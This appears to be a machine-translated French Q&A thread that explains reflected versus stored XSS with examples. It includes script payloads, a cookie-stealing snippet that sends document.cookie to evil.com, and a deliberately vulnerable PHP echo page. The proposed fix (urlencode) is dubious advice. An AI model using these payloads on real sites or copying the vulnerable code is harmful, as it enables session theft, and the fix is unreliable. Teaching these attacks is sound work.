Qu'est-ce que Reflected XSS?
Marre de la définition suivante.
Les attaques reflétées sont celles où le script injecté se reflète sur le serveur Web, comme dans un message d'erreur, un résultat de recherche ou toute autre réponse qui inclut une partie ou la totalité des entrées envoyées au serveur dans le cadre de la demande. Les attaques reflétées sont livrées aux victimes par une autre voie, comme dans un message électronique ou sur un autre site Web. Lorsqu'un utilisateur est amené à cliquer sur un lien malveillant, à soumettre un formulaire spécialement conçu ou même à naviguer sur un site malveillant, le code injecté se rend sur le site Web vulnérable, ce qui reflète l'attaque sur le navigateur de l'utilisateur. Le navigateur exécute ensuite le code car il provient d'un serveur "de confiance"
Quelqu'un peut-il m'expliquer avec un exemple. Et quelle est la principale différence entre Reflected XSS et Stored XSS?
Supposons donc que vous accédez à www.example.com/page?main.html et qu'il vous place sur la page principale d'exemple.com. Vous accédez maintenant à l'index, qui se trouve sur www.example.com/page?index.html. Vous commencez à vous demander quelles sont les autres pages?
Donc, vous tapez www.example.com/page?foo et appuyez sur Entrée, et vous obtenez une page d'erreur qui dit quelque chose comme "Resource foo est introuvable".
La chose à noter ici est que vous mettez un paramètre dans l'URL et que ce paramètre vous est reflété en tant qu'utilisateur. Dans ce cas, c'était le paramètre "foo".
Maintenant, l'idée derrière XSS réfléchi devrait être un peu plus claire; au lieu de saisir un paramètre boiteux comme "foo", vous saisissez quelque chose comme <script>alert(1)</script>foo et appuyez sur Entrée. Sur un site vulnérable, ce paramètre entier sera injecté dans la page d'erreur qui apparaît, le javascript s'exécutera et vous obtiendrez une fenêtre contextuelle en plus du message "Resource foo is not found". Si vous pouvez inciter quelqu'un d'autre à naviguer vers le même lien que vous avez créé, vous pouvez exécuter du javascript arbitraire dans sa session.
XSS réfléchi
J'envoie à la victime un lien vers http://example.com/page?var=<script>alert('xss')</script> et quelque part sur la page cette valeur est renvoyée à la victime. La valeur n'est sur la page que s'ils suivent mon lien spécial.
L'inconvénient de ce type est que je dois attaquer spécifiquement une victime ou un groupe de victimes que je peux cliquer sur un lien. Il peut être difficile d'amener une autre personne à suivre votre lien.
XSS stocké
Je trouve un moyen de faire persister un site Web <script>alert('xss')</script> pendant un certain temps, peut-être dans la base de données. Ensuite, je peux envoyer la victime à http://example.com/page et il lit la valeur de la base de données et la présente à la victime.
L'avantage de ce type est qu'il attaquera tous ceux qui consultent la page.
Pour les deux types de XSS, considérez un extrait de javascript comme celui-ci:
<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>
Si un pirate informatique peut obtenir ce rendu sur un autre site, il peut collecter tous les cookies utilisateur pour toute victime qui charge une telle page sur ce site. Reflected XSS et Stored XSS (ou Persistent XSS) sont deux méthodes différentes pour faire apparaître ce script sur un site vulnérable.
- Reflected XSS - le script lui-même est transmis en tant que paramètre de requête à une partie vulnérable du site, et le site affiche le javascript sur la page.
- Stocké XSS - le javascript est stocké de manière déviante dans la page elle-même sur une base à long terme.
Exemple XSS réfléchi
Je suis un pirate informatique et j'envoie un e-mail de phishing avec le corps suivant.
où la valeur du mot clé param décode vers l'extrait javascript ci-dessus. Lorsque la victime clique sur le lien, faiblesse-site.com affiche une page avec le script intégré. Le navigateur redirige la victime vers le site du pirate et délivre le cookie de la victime à partir de site faible-.com.
Exemple XSS stocké
Je suis un hacker et je crée un blog sur faibles-site.com avec le contenu suivant:
LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>
Si le site rend mon message intact, je peux collecter la valeur de cookie de chaque utilisateur qui consulte mon message.
Une explication très simple:
Reflected XSS: La charge utile de l'attaque est incluse dans un paramètre lorsque la victime suit une URL vers le site.
Stored XSS: La charge utile de l'attaque est stockée dans le site lui-même et lorsque quelqu'un visite la page, quelle que soit l'URL suivie, l'attaque s'exécute.
Mieux vaut donner des exemples au lieu d'écrire.
POC XSS réfléchissant
<?php
/**
* @Author Vaibs
*
*/
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
$input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
echo "Input from client is reflected back as -> : " . $input;
}
?>
<html>
<body>
<form>
<input type="text" name="appid"/>
<input type="submit" name="Submit"/>
</form>
</body>
</html>
Comment éviter ? Réponse: Le plus simple est d'utiliser PHP function urlencode.
<?php
/**
* @Author Vaibs
*
*/
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
$input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
echo "Input from client is reflected back as -> : " . urlencode($input);
}
?>
<html>
<body>
<form>
<input type="text" name="appid"/>
<input type="submit" name="Submit"/>
</form>
</body>
</html>
La différence est l'utilisation de la fonction urlencode utilisée dans le deuxième code.